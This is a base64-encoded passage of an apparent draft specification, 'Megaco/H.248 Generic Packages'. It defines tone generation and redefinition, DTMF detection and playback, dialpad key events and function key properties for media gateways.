dG9wdG9uZQ0KDQogICBzdG9wIHRvbmUgcGxheSBvbiBzdHJlYW1pZA0KDQogICBTaWduYWwgUGFy
YW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAgIGlkIG9mIGF1ZGlvIHN0cmVhbSB0byBkZXRlY3Qg
dG9uZXMgb24uDQoNCiAgIFJldHVybiB2YWx1ZTogICAgICAgIGludGVnZXIgICAgICAgICAwIFN1
Y2Nlc3MNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxIHN0cmVhbWlk
IG5vdCByZWNvZ25pemVkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
OTkgdW5kZXRlcm1pbmVkIGVycm9yDQoNCg0KICAgVG9uZUlkczoNCgwNCkthbGxhcyBCaWxhbGlz
ICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2VzICAgICAgICBQYWdlIDcNCg0K
ICAgICAgYXcgICAgIC0gQW5zd2VyIFRvbmUNCiAgICAgIGJ6ICAgICAtIEJ1c3kgVG9uZQ0KICAg
ICAgd3QgICAgIC0gQ2FsbCBXYWl0aW5nIFRvbmUNCiAgICAgIGRsICAgICAtIERpYWwgVG9uZQ0K
ICAgICAgcmIgICAgIC0gUmluZ2JhY2sNCiAgICAgIG5ieiAgICAtIE5ldHdvcmsgQnVzeSBUb25l
IChyZW9yZGVyIG9yIGZhc3QgY3ljbGUgYnVzeSkNCiAgICAgIHJzICAgICAtIFJpbmcgU3BsYXNo
IFRvbmUNCiAgICAgIHAgICAgICAtIFByb21wdCBUb25lDQogICAgICBlICAgICAgLSBFcnJvciBU
b25lDQogICAgICBzZGwgICAgLSBTdHV0dGVyIERpYWwgVG9uZSAoPz8pDQogICAgICB2ICAgICAg
LSBBbGVydGluZyBUb25lDQogICAgICB5ICAgICAgLSBSZWNvcmRlciBXYXJuaW5nIFRvbmUgKD8/
KQ0KICAgICAgc2l0ICAgIC0gU0lUIFRvbmUgKD8/KQ0KICAgICAgeiAgICAgIC0gQ2FsbGluZyBD
YXJkIFNlcnZpY2UgVG9uZSAoPz8pDQogICAgICBvdCAgICAgLSBPZmYgSG9vayBXYXJuaW5nIFRv
bmUNCiAgICAgIHMoIyMjKSAtIERpc3RpbmN0aXZlIFRvbmUgUGF0dGVybiBUb25lDQogICAgICBz
aWwgICAgLSBTaWxlbmNlIFRvbmUNCg0KICAgW2VkaXRvcidzIG5vdGU6DQogICBzZW1hbnRpYyBm
b3IgYWxsIGFsbCB0b25pZCdzIG11c3QgYmUgZGVmaW5lZA0KICAgbm9uIGludGVybmF0aW5hbCB0
YWtlbiBvZmYgbGlzdA0KICAgYWRkIGJvYidzIHRvbmUgZGVmaW5pdGlvbiBzdHVmZg0KICAgQXVk
aXQ6IGdpdmVzIHlvdSBwcmUtcHJvdmlzaW9uZWQgdG9uZXMgZGVmaW5pdGlvbnMNCiAgIERlZiB0
b25lIGFsbG93cyB5b3UgdG8gb3ZlcndyaXRlIGV4aXN0aW5nIHRvbmVzIG9yIGFkZCBvdGhlcnMu
IFdoZW4NCiAgIHlvdSBkZWxldGUgdG9uZSB5b3UgcmV2ZXJ0IHRvIG9yaWdpbmFsXQ0KDQogICAz
LjEuMy4yIERlZmluZSBUb25lDQoNCiAgIHNob3J0IG5hbWUgZGVmdG9uZQ0KDQogICBkZWZpbmUg
YSBuZXcgdG9uZSBmb3IgcGxheWJhY2sgb3IgcmVkZWZpbmUgYW4gZXhpc3RpbmcgdG9uZS4gSWYN
CiAgIGRlZnRvbmUgaXMgc2VudCB0byBhIHRlcm1pbmF0aW9uIGluIGEgc3BlY2lmaWMgY29udGV4
dCwgdGhlIHRvbmUNCiAgIGRlZmluaXRpb24gb3IgcmVkZWZpbml0aW9uIHdvdWxkIG9ubHkgYmUg
dGVtcG9yYXJ5IGFuZCBhdmFpbGFibGUgaW4NCiAgIHRoZSBjb250ZXh0DQoNCiAgIFRoZSBzeW50
YXggZm9yIHRoZSB0b25lIGRlZmluaXRpb24gcGFyYW1ldGVyIGlzIHJlY3Vyc2l2ZSBhbmQgdXNl
cw0KICAgcGFyZW50aGVzaXMgYXMgYSBkZWxpbWl0ZXIgb2YgZWxlbWVudHMuDQoNCiAgIE5vdGU6
IHRvIHJlbW92ZSBhIGR5bmFtaWNhbGx5IGRlZmluZWQgdG9uZSwgc2ltcGx5IGlzc3VlIHRoZSBz
aWduYWwNCiAgIHdpdGggdGhlIGRlc2lyZWQgVG9uZUlkIGFuZCBhIE5VTEwgZGVmdG9uZSBwYXJh
bWVudGVyLiBPbmx5DQogICBkeW5hbWljYWxseSBkZWZpbmVkIHRvbmVzIChpLmUuIHRvbmVzIGRl
ZmluZWQgdXNpbmcgZGVmdG9uZSkgbWF5IGJlDQogICBkZWxldGVkLg0KDQogICBEZWZUb25lQ21k
ID0gVG9uZUlEICI9IiBEZWZUb25lU3RyaW5nDQoNCiAgIERlZlRvbmVTdHJpbmcgPSAiKCIgRGVm
VG9uZUVsZW1lbnQgWyIqIiBSZXBlYXRDb3VudCBdICIpIg0KICAgWyIsIi8iKyIvIlgiDQogICBE
ZWZUb25lU3RyaW5nXQ0KDA0KS2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVnYWNvL0guMjQ4IEdl
bmVyaWMgUGFja2FnZXMgICAgICAgIFBhZ2UgOA0KDQogICBOT1RFOiBhIHNlcGFyYXRvciBvZiBg
LCcgaW5kaWNhdGVzIHRoYXQgdGhlIG5leHQgZGVmaW5pdGlvbiBmb2xsb3dzDQogICBzZXF1ZW50
aWFsbHkgaW4gdGltZTsgYSBzZXBhcmF0b3Igb2YgYCsnIGluZGljYXRlcyB0aGF0IHRoZQ0KICAg
Zm9sbG93aW5nIHRvbmUgaXMgdG8gYmUgbWl4ZWQgd2l0aCB0aGUgcHJldmlvdXMgdG9uZSBhbmQg
aXMNCiAgIHNpbXVsdGFuZW91cyB3aXRoIGl0OyBhIHNlcGFyYXRvciBvZiBgWCcgaW5kaWNhdGVz
IHRoYXQgdGhlIGZpcnN0DQogICB0b25lIGlzIG1vZHVsYXRlZCBieSB0aGUgc2Vjb25kIHRvbmUu
DQogICBOb3RlOiBSZWN1cnNpb24gaXMgbGltaXRlZCB0byBhIG1heGltdW0gb2YgMzIgTGV2ZWxz
LiBBbGwgSVBQaG9uZQ0KICAgTUdzIG11c3Qgc3VwcG9ydCBhdCBsZWFzdCA0IGxldmVscyBvZiBy
ZWN1cnNpb24uDQoNCiAgIFJlcGVhdENvdW50ID0gJWQxLTMyNzY3IC8gJWQwDQogICAgICAgIE5P
VEU6IHJlcGVhdGNvdW50IG9mIDAgaW5kaWNhdGVzIGluZmluaXRlIHJlcGVhdGluZy4NCg0KICAg
RGVmVG9uZUVsZW1lbnQgPSBUb25lTmFtZSBbIiwiIFRvbmVEdXJhdGlvbiBbICIsIiBUb25lQW1w
bGl0dWRlIF1dDQogICBUb25lTmFtZSA9IFRvbmVJRCAvICIjIkZyZXFWYWx1ZSAvICImIkFubm91
bmNlbWVudFBhcmFtZXRlckxpc3QNCiAgIFRvbmVJRCA9IDEqVkNIQVI7IFVuaXF1ZSB0b25lIGlk
ZW50aXR5IHN0cmluZyBvciB2YWx1ZQ0KICAgRnJlcVZhbHVlID0gJWQwLTQwMDA7IGluIEhlcnR6
DQogICBBbm5vdW5jZW1lbnRQYXJhbWV0ZXJMaXN0ID0gQW5ub3VuY2VtZW50SUQgWyIsIiBTdWJz
dGl0dXRpb25TdHJpbmddDQogICBBbm5vdW5jZW1lbnRJRCA9IDEqVkNIQVI7IFVuaXF1ZSBpZGVu
dGlmaWVyIGZvciBhbiBhdWRpbw0KICAgYW5ub3VuY2VtZW50DQogICBTdWJzdGl0dXRpb25TdHJp
bmcgPSAiIiIxKlZDSEFSIiIiOyBhIFRUUyBzdHJpbmcgdG8gYmUgaW5zZXJ0ZWQgaW50bw0KICAg
YW4NCiAgICAgICA7IGFubm91bmNlbWVudC4NCiAgIFRvbmVEdXJhdGlvbiA9ICVkMS0zMjc2NyAv
ICVkMCA7IEluIE1pbGxpc2Vjb25kcw0KICAgTk9URTogVG9uZUR1cmF0aW9uIG9mIDAgaW5kaWNh
dGVzIGluZmluaXRlIGR1cmF0aW9uIG9yIGR1cmF0aW9uDQogICBkZWZpbmVkICBieSB0aGUgVG9u
ZUlELg0KICAgVG9uZUFtcGxpdHVkZSA9ICItIiVkMzItMSAvICVkMDsgSW4gZEJtMA0KDQogICBB
biBleGFtcGxlcyBvZiBzb21lIHRvbmUgZGVmaW5pdGlvbnMgZm9sbG93cy4NCg0KICAgUmVvcmRl
clRvbmUgPSAoKCgoIzQ4MCkrKCM2MjApKSwyNTAsLTI0KSwoc2lsLDI1MCkpKjANCg0KICAgU0lU
VG9uZSA9ICgjOTUwLDMzMCwtMjQpLCAoc2lsLDMwKSwgKCMxNDAwLDMzMCwtMjQpLCAoc2lsLDMw
KSwNCiAgICAgICAoIzE4MDAsMzMwLC0yNCksIChzaWwsMzApDQoNCiAgIE51bWJlcllvdUhhdmVE
aWFsZWQgPSAoU0lUVG9uZSksICgmTnVtYmVyRGlhbGVkLCI1NTUtMTIzNCIpDQoNCiAgICAgICAg
Tm90ZTogYWJvdmUgdG9uZSBkZWZpbml0aW9ucyBhcmUgZnJvbSBTUi1UU1YtMDAyMjc1Lg0KDQoN
Cg0KDQogICBSZXR1cm4gdmFsdWU6ICAgICAgICBpbnRlZ2VyICAgICAgICAgMCBTdWNjZXNzDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNCBUb25lIGRlZmluaXRpb24g
bm90DQogICB1bmRlcnN0b29kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgOTkgdW5kZXRlcm1pbmVkIGVycm9yDQoNCg0KDQogICAzLjIgR2VuZXJpYyBEVE1GIFBhY2th
Z2UNCg0KICAgU2hvcnQgbmFtZSBnZHRtZg0KDA0KS2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVn
YWNvL0guMjQ4IEdlbmVyaWMgUGFja2FnZXMgICAgICAgIFBhZ2UgOQ0KDQoNCiAgIFRoaXMgcGFj
a2FnZSBpdCB1c2VkIHRvIGRldGVjdCBhbmQgZ2VuZXJhdGUgdG9uZXMgb24gdGhlIGFuYWxvZw0K
ICAgdHJ1bmsgb3IgbGluZSBjb25uZWN0aW9uIG9uIGEgbWVkaWEgZ2F0ZXdheS4NCg0KICAgMy4y
LjEgUHJvcGVydGllcyBhdWRpdA0KDQogICAzLjIuMS4xIEdhdGV3YXkgQXVkaXQgSW5mb3JtYXRp
b24NCg0KICAgVGhlIGZvbGxvd2luZyBpcyByZXR1cm5lZCBhcyBhIHJlc3VsdCBvZiBBdWRpdCBj
b21tYW5kIGF0IHRoZSByb290DQogICBNRzoNCg0KICAgMy4yLjIgRXZlbnRzDQoNCiAgIDMuMi4y
LjEgRXZlbnQgQ29uZmlndXJhdGlvbg0KDQogICAzLjIuMi4xLjEgVG9uZURldGVjdGVkDQoNCiAg
IFNob3J0IG5hbWUgdG9uZWR0DQoNCiAgIENvbmZpZ3VyYXRpb24gUGFyYW1ldGVyczoNCg0KICAg
c3RyZWFtaWQgICAgIGlkIG9mIGF1ZGlvIHN0cmVhbSB0byBkZXRlY3QgdG9uZXMgb24uDQogICBs
aXN0b2Z0b25lcyBhIHN0cmluZyBjb250YWluaW5nIG9uZSBvciBtb3JlIG9mIHRoZSBkdG1mdG9u
ZWlkJ3MgdG8NCiAgIGJlIGRldGVjdGVkLCBzZXBlcmF0ZWQgYnkgLw0KICAgRXhhbXBsZTogIjAv
MS8yLzMvNC81LzYvNy84LzkvKi8jIi4NCg0KICAgZHRtZnRvbmVpZCdzOg0KICAgYDAnLCcxJywn
MicsJzMnLCc0JywnNScsJzYnLCc3JywnOCcsJzknLCcqJywnIycsJ0EnLCdCJywnQycsJ0QnLCdY
Jw0KICAgYFgnIHJlcHJlc2VudHMgYWxsIGRpZ2l0cyBmcm9tIDAgdG8gOS4NCiAgIGBMJyBMb25n
IER1cmF0aW9uDQoNCiAgICdBJywnQicsJ0MnLCdEJyBjYW4gYmUgcmVkZWZpbmVkIHVzaW5nIHRo
ZSBkZWZ0b25lIHNpZ25hbCBpbiB0aGUNCiAgIHByZXZpb3VzIHBhY2thZ2VzDQoNCiAgIFJldHVy
biB2YWx1ZTogICAgICAgIGludGVnZXIgICAgICAgICAwIFN1Y2Nlc3MNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAxIHN0cmVhbWlkIG5vdCByZWNvZ25pemVkDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMiB0b25laWQgbm90IHJlY29nbml6
ZWQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA5OSB1bmRldGVybWlu
ZWQgZXJyb3INCg0KICAgMy4yLjIuMS4yIFNpbGVuY2VEZXRlY3RlZA0KDQogICBTaG9ydCBuYW1l
IHNpbGVuY2VkdA0KDQogICBUaGlzIGV2ZW50IGlzIHRyaWdnZXJlZCBhZnRlciBhIHBlcmlvZCBv
ZiBzaWxlbmNlIGhhcyBvY2N1cnJlZA0KICAgZm9sbG93aW5nIHRoZSBkZXRlY3Rpb24gb2YgYSBE
VE1GIGRpZ2l0Lg0KDQogICBDb25maWd1cmF0aW9uIFBhcmFtZXRlcnM6DQoNCiAgIHN0cmVhbWlk
ICAgICBpZCBvZiBhdWRpbyBzdHJlYW0gdG8gZGV0ZWN0IHRvbmVzIG9uLg0KICAgZHVyYXRpb24g
ICAgIFNpbGVuY2UgZHVyYXRpb24gdGhhdCB3b3VsZCB0cmlnZ2VyIHRoZSBldmVudCBpbiBtcy4N
CgwNCkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2Vz
ICAgICAgICBQYWdlIDEwDQoNCg0KICAgUmV0dXJuIHZhbHVlOiAgICAgICAgaW50ZWdlciAgICAg
ICAgIDAgU3VjY2Vzcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEg
c3RyZWFtaWQgbm90IHJlY29nbml6ZWQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICA5OSB1bmRldGVybWluZWQgZXJyb3INCg0KICAgMy4yLjIuMiBPYnNlcnZlZCBFdmVu
dHMNCg0KICAgMy4yLjIuMi4xIFRvbmVEZXRlY3RlZA0KDQogICBTaG9ydCBuYW1lIHRvbmVkdA0K
DQogICBFdmVudCBQYXJhbWV0ZXJzOg0KDQogICBldmVudHR5cGUgICAgUG9zc2libGUgdmFsdWVz
Og0KICAgICAgICAgICAgICAgICJNVUxUSSI6IG11bHRpcGxlIGRpZ2l0cyBoYXZlIGJlZW4gYWNj
dW11bGF0ZWQgYW5kDQogICBzZW50Lg0KICAgICAgICAgICAgICAgICJTVEFSVCI6IG9uZSB0b25l
IHN0YXJ0IGRldGVjdGVkDQogICAiTE9ORyI6ICAgICAgb25lIHRvbmUgaGFzIGJlZW4gZGV0ZWN0
ZWQgZm9yIG1vcmUgdGhhbiAyIHNlY29uZHMNCiAgIChDb25maWd1cmFibGUpDQogICAiRU5EJzog
ICAgICAgb25lIHRvbmUgZW5kIGRldGVjdGVkLg0KDQogICBjb250ZW50ICAgICAgYSBzdHJpbmcg
Y29udGFpbmluZyBvbmUgb3IgbW9yZSBkdG1mdG9uZWlkJ3MNCg0KICAgZHVyYXRpb24gICAgIHRo
aXMgcGFyYW1ldGVyIGlzIHVzZWQgd2hlbiBldmVudHR5cGUgaXMgIkVORCIgaXMNCiAgIHJlcHJl
c2VudHMgdGhlIHRvdGFsIGR1cmF0aW9uIGZvciB3aGljaCB0aGUgdG9tZSB3YXMgZGV0ZWN0ZWQg
aW4gbXMNCg0KICAgZHRtZnRvbmVpZCdzOg0KICAgYDAnLCcxJywnMicsJzMnLCc0JywnNScsJzYn
LCc3JywnOCcsJzknLCcqJywnIycsJ0EnLCdCJywnQycsJ0QnDQoNCiAgIDMuMi4yLjIuMiBTaWxl
bmNlRGV0ZWN0ZWQNCg0KICAgU2hvcnQgbmFtZSBzaWxlbmNlZHQNCg0KICAgRXZlbnQgUGFyYW1l
dGVyczoNCg0KICAgMy4yLjMgU2lnbmFscw0KDQogICAzLjIuMy4xIFBsYXlUb25lDQoNCiAgIHNo
b3J0IG5hbWUgcGxheXRvbmUNCg0KICAgU2lnbmFsIFBhcmFtZXRlcnM6DQoNCiAgIHN0cmVhbWlk
ICAgICAtIGludGVnZXI6IGlkIG9mIGF1ZGlvIHN0cmVhbSB0byBwbGF5IHRvbmVzIG9uLg0KICAg
ZHRtZnRvbmVpZCAgIC0gaW50ZWdlcjogVG9uZSB0byBiZSBwbGF5ZWQNCiAgIHNpZ25hbHR5cGUg
ICAtIHN0cmluZyBQb3NzaWJsZSB2YWx1ZXM6DQogICAgICAgICAgICAgICAgIkJSIiBicmllZiBk
dXJhdGlvbiAocHJvdmlzaW9uZWQgLyBpbXBsaWVkKQ0KICAgICAgICAgICAgICAgICJPTiIgUGxh
eSB1bnRpbCBpbnN0cnVjdGVkIHRvIHN0b3ANCiAgICAgICAgICAgICAgICAiVE8iIFBsYXkgdW50
aWwgdGltZWQgb3V0Lg0KICAgZHVyYXRpb24gICAgIHRpbWVvdXQgZHVyYXRpb24gaW4gbXMNCgwN
CkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2VzICAg
ICAgICBQYWdlIDExDQoNCg0KICAgcG9zc2libGUgdmFsdWUgZm9yIGR0bWZ0b25laWQ6DQoNCiAg
IDAgLSBkdG1mMA0KICAgMSAtIGR0bWYxDQogICAyIC0gZHRtZjINCiAgIDMgLSBkdG1mMw0KICAg
NCAtIGR0bWY0DQogICA1IC0gZHRtZjUNCiAgIDYgLSBkdG1mNg0KICAgNyAtIGR0bWY3DQogICA4
IC0gZHRtZjgNCiAgIDkgLSBkdG1mOQ0KICAgMTAgLSBkdG1mKg0KICAgMTEgLSBkdG1mIw0KICAg
MTIgLSBkdG1mQQ0KICAgMTMgLSBkdG1mQg0KICAgMTQgLSBkdG1mQw0KICAgMTUgLSBkdG1mRA0K
DQogICAxNiAtIGVjaG8gZHRtZjANCiAgIDE3IC0gZWNobyBkdG1mMQ0KICAgMTggLSBlY2hvIGR0
bWYyDQogICAxOSAtIGVjaG8gZHRtZjMNCiAgIDIwIC0gZWNobyBkdG1mNA0KICAgMjEgLSBlY2hv
IGR0bWY1DQogICAyMiAtIGVjaG8gZHRtZjYNCiAgIDIzIC0gZWNobyBkdG1mNw0KICAgMjQgLSBl
Y2hvIGR0bWY4DQogICAyNSAtIGVjaG8gZHRtZjkNCiAgIDI2IC0gZWNobyBkdG1mKg0KICAgMjcg
LSBlY2hvIGR0bWYjDQogICAyOCAtIGVjaG8gZHRtZkENCiAgIDI5IC0gZWNobyBkdG1mQg0KICAg
MzAgLSBlY2hvIGR0bWZDDQogICAzMSAtIGVjaG8gZHRtZkQNCg0KICAgZWNobyBkdG1mcyBhcmUg
aW50ZW5kZWQgdG8gYmUgcGxheWVkIGJhY2sgdG8gdGhlIHVzZXIgYW5kIHdpbGwgaGF2ZQ0KICAg
YSBsb3dlciBhbXBsaXR1ZGUgdGhhbiBkdG1mcy4NCg0KICAgUmV0dXJuIHZhbHVlOiAgICAgICAg
aW50ZWdlciAgICAgICAgIDAgU3VjY2Vzcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIDEgc3RyZWFtaWQgbm90IHJlY29nbml6ZWQNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAyIHRvbmVpZCBub3QgcmVjb2duaXplZA0KICAgKGR0bWZ0b25l
aWQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMyBzaWduYWx0eXBl
IGVycm9yDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOTkgdW5kZXRl
cm1pbmVkIGVycm9yDQoNCiAgIDMuMi4zLjIgU3RvcFRvbmUNCg0KICAgc2hvcnQgbmFtZSBzdG9w
dG9uZQ0KDA0KS2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVnYWNvL0guMjQ4IEdlbmVyaWMgUGFj
a2FnZXMgICAgICAgIFBhZ2UgMTINCg0KDQogICBzdG9wIHRvbmUgcGxheSBvbiBzdHJlYW1pZC4g
Q2FuY2VscyBhbGwgcGxheXRvbmUgc2lnbmFscy4NCg0KICAgU2lnbmFsIFBhcmFtZXRlcnM6DQoN
CiAgIHN0cmVhbWlkICAgICBpZCBvZiBhdWRpbyBzdHJlYW0gdG8gZGV0ZWN0IHRvbmVzIG9uLg0K
DQogICBSZXR1cm4gdmFsdWU6ICAgICAgICBpbnRlZ2VyICAgICAgICAgMCBTdWNjZXNzDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMSBzdHJlYW1pZCBub3QgcmVjb2du
aXplZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDk5IHVuZGV0ZXJt
aW5lZCBlcnJvcg0KDQoNCg0KDQogICAzLjMuICBEaWFscGFkIFBhY2thZ2UNCg0KICAgU2hvcnQg
bmFtZTogZHBhZA0KDQogICBUaGUgZGlhbHBhZCBwYWNrYWdlIGlzIHVzZWQgdG8gcmVwcmVzZW50
IGEgc3RhbmRhcmQgMTAgZGlnaXQga2V5IHBhZA0KICAgcGx1cyB0aGUgJyonLCAnIycsIEEsIEIs
IEMsIGFuZCBEIGtleXMuDQoNCiAgIFN0YW5kYXJkIGRpYWxwYWQgaWRlbnRpZmllcnMgKGRpYWxw
YWRJZCkgaW5jbHVkZToNCg0KICAgICAgICcwJywnMScsJzInLCczJywnNCcsJzUnLCc2JywnNycs
JzgnLCc5JywnKicsJyMnLCdBJywnQicsJ0MnLCdEJw0KDQogICAzLjMuMS4gUHJvcGVydGllcyBB
dWRpdA0KDQogICAzLjMuMS4xICBHYXRld2F5IFByb3BlcnRpZXMgQXVkaXQNCg0KICAgTm9uZS4N
Cg0KICAgMy4zLjEuMiAgVGVybWluYXRpb24gUHJvcGVydGllcyBBdWRpdA0KDQogICAzLjMuMS4y
LjEgICAgbnVtYmVyIG9mIGtleXM6IHNob3J0IG5hbWUgbmtleXMNCg0KICAgICAgICAxMCBrZXlz
IGFyZSAwLTkNCiAgICAgICAgMTIga2V5cyBhcmUgMC05LCosIw0KICAgICAgICAxNiBrZXlzIGFy
ZSAwLTksKiwjLEEsQixDLEQNCg0KICAgMy4zLjIuICBFdmVudHMNCg0KICAgMy4zLjIuMS4gIEV2
ZW50IENvbmZpZ3VyYXRpb24NCg0KICAgMy4zLjIuMS4xIERpYWxwYWQgS2V5IERvd246IFNob3J0
IG5hbWUga2R3bg0KDQogICBDb25maWd1cmUgUGFyYW1ldGVyczoNCg0KICAgTm9uZQ0KDQogICAz
LjMuMi4xLjIgRGlhbHBhZCBLZXkgVXA6IFNob3J0IG5hbWUga3VwDQoMDQpLYWxsYXMgQmlsYWxp
cyAgICAgICAgICBNZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAxMw0K
DQoNCg0KICAgQ29uZmlndXJlIFBhcmFtZXRlcnM6DQoNCiAgIE5vbmUNCg0KDQogICAzLjMuMi4y
LiAgT2JzZXJ2ZWQgRXZlbnRzDQoNCiAgIDMuMy4yLjIuMS4gRGlhbHBhZCBLZXkgRG93bjogU2hv
cnQgbmFtZSBrZHduDQoNCg0KICAgRXZlbnQgUGFyYW1ldGVyczoNCg0KICAgZGlhbHBhZElkICAt
IENoYXJhY3RlcjogcmVwcmVzZW50aW5nIGtleSBwcmVzc2VkDQoNCiAgIFN0YW5kYXJkIGRpYWxw
YWQgaWRlbnRpZmllcnMgKGRpYWxwYWRJZCkgaW5jbHVkZToNCg0KICAgICAgICcwJywnMScsJzIn
LCczJywnNCcsJzUnLCc2JywnNycsJzgnLCc5JywnKicsJyMnLCdBJywnQicsJ0MnLCdEJw0KDQoN
Cg0KICAgMy4zLjIuMi4yLiBEaWFscGFkIEtleSBVcDogU2hvcnQgbmFtZSBrdXANCg0KDQogICBF
dmVudCBQYXJhbWV0ZXJzDQoNCiAgIGRpYWxwYWRJZCAgLSBjaGFyYWN0ZXI6IHJlcHJlc2VudGlu
ZyBrZXkgcHJlc3NlZA0KICAgZHVyYXRpb24gICAtIGludGVnZXIgPSBkaWFscGFkIGtleSBwcmVz
cyBkdXJhdGlvbiBpbiBtcw0KDQogICAzLjMuMyAgU2lnbmFscw0KDQogICAzLjMuMy4xIERpYWxw
YWQgRWNobzogU2hvcnQgbmFtZSBlY2hvDQoNCiAgIEl0IHR1cm4gRFRNRiB0b25lIGVjaG8gb24g
YW5kIG9mZi4gSXQgaXMgdHlwaWNhbGx5IHVzZWQgdG8gZmVlZGJhY2sNCiAgIGtleXByZXNzZXMu
DQoNCiAgIFNpZ25hbCBwYXJhbWV0ZXJzOg0KDQogICBlY2hvQ3RybCAgICAgLSBTdHJpbmc6ICJP
biIgb3IgIk9mZiIuIGRlZmF1bHQgPSBvbg0KICAgZGlyZWN0aW9uICAgLSBDaGFyYWN0ZXI6IGBV
JyA9IHRvIHVzZXIgLyBgQScgPSBBd2F5IGZyb20gdXNlciAvIGBCJw0KICAgPSBCb3RoDQogICBk
dXJhdGlvbiAgICAtIEludGVnZXI6IHRvbmUgZHVyYXRpb24gaW4gbXMgKGRlZmF1bHQgPSAidHJh
Y2sNCiAgIGtleXBhZCIpDQoNCg0KICAgTm90ZTogRGlyZWN0aW9uIHBhcmFtZXRlciBpcyBpbnRl
bmQgc3BlY2lmeSBob3cgdGhlIGNvbnRleHQgc3RyZWFtcw0KICAgdGhlIGluamVjdGVkIHRvbmVz
LCBgVScgKHRvd2FyZHMgdGhlIGF1ZGlvIHRyYW5zZHVjZXIpLCBvciBgQScNCiAgICh0b3dhcmRz
IHRoZSBuZXR3b3JrIHRocm91Z2ggUlRQKS4gIERUTUYgdG9uZXMgdGhhdCBhcmUgcGxheWVkDQog
ICB0aHJvdWdoIHRoZSBhdWRpbyB0cmFuc2R1Y2VycyBhcmUgYXQgcmVkdWNlZCBhbXBsaXR1ZGUu
DQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdl
cyAgICAgICAgUGFnZSAxNA0KDQoNCiAgIDMuMy40LiBTdGF0aXN0aWNzDQoNCiAgIE5vbmUuDQoN
Cg0KICAgMy40LiAgRnVuY3Rpb24gS2V5IFBhY2thZ2UNCg0KICAgU2hvcnQgbmFtZTogZmtleQ0K
DQogICBFdmVudHMgYXNzb2NpYXRlZCB3aXRoIHRoZSBjb21tb24gdGVsZXBob25lIGZ1bmN0aW9u
IGtleXMgYXJlDQogICBkZWZpbmVkIGluIHRoaXMgcGFja2FnZS4gIFRoaXMgYWxsb3dzLCBmb3Ig
ZXhhbXBsZSwgbGluZSBrZXlzIHRvIGJlDQogICBpbXBsZW1lbnRlZCB3aXRob3V0IHNwZWNpZmlj
IGtub3dsZWRnZSBvZiB0aGUgcGh5c2ljYWwgbGF5b3V0IG9mIHRoZQ0KICAgdGVsZXBob25lLiAg
RnVuY3Rpb24ga2V5cyBtYXkgaGF2ZSB3ZWxsIGtub3duIG5hbWVzLCBmb3IgZXhhbXBsZToNCiAg
IEhvb2tzd2l0Y2gsIEhvbGQsIG9yIEZvcndhcmQuICBGdW5jdGlvbiBrZXlzIG1heSBhbHNvIGJl
IGFzc2lnbmVkIGENCiAgIG5hbWUgaWRlbnRpZmllciBieSB0aGUgTUdDLCB3aGljaCBpcyByZXR1
cm5lZCBhcyBwYXJ0IG9mIHRoZSBrZXkNCiAgIGV2ZW50cy4NCg0KDQogICAzLjQuMS4gUHJvcGVy
dGllcyBBdWRpdA0KDQogICBHYXRld2F5IFByb3BlcnRpZXMgQXVkaXQNCg0KICAgMy40LjEuMiAg
VGVybWluYXRpb24gUHJvcGVydGllcyBBdWRpdA0KDQogICAzLjQuMS4yLjEgRnVuY3Rpb24gS2V5
IExpc3QNCg0KICAgU2hvcnQgbmFtZTogbGlzdA0KDQogICBSZXR1cm4gdmFsdWVzOiBSZXR1cm5z
IGxpc3Qgb2YgYWxsIGZ1bmN0aW9uIGtleXMNCiAgIGxpc3QgIC0gU3RyaW5nIHJlcHJlc2VudGlu
ZzogKGtleSAqKCxrZXkpKQ0KICAga2V5ID0gKGlkLCBuYW1lIGlmIGFzc2lnbmVkLCBrZXkgbmFt
ZSBpcyBzZXR0YWJsZSBvciBub3QpLg0KDQogICBsaXN0IEV4YW1wbGU6ICIoMCwsWSksKDEsTGlu
ZUtleTEsWSksKDIsNTI0ODksWSksKDMsSG9sZCxOKSINCg0KICAgVGhlIHN0YW5kYXJkIGZ1bmN0
aW9uIGtleSB3ZWxsIGtub3duIG5hbWVzIGluY2x1ZGUgdGhlIGZvbGxvd2luZw0KICAgc3RyaW5n
czoNCg0KICAgICAgICJoa3N3IiAgIC0gSG9va3N3aXRjaA0KICAgICAgICJob2xkICAgIC0gSG9s
ZA0KICAgICAgICJjb25mIiAgIC0gQ29uZmVyZW5jZQ0KICAgICAgICJmd3JkIiAgIC0gRm9yd2Fy
ZA0KICAgICAgICJ0c2ZyIiAgIC0gVHJhbnNmZXINCiAgICAgICAibD8/PyIgICAtIExpbmVLZXk8
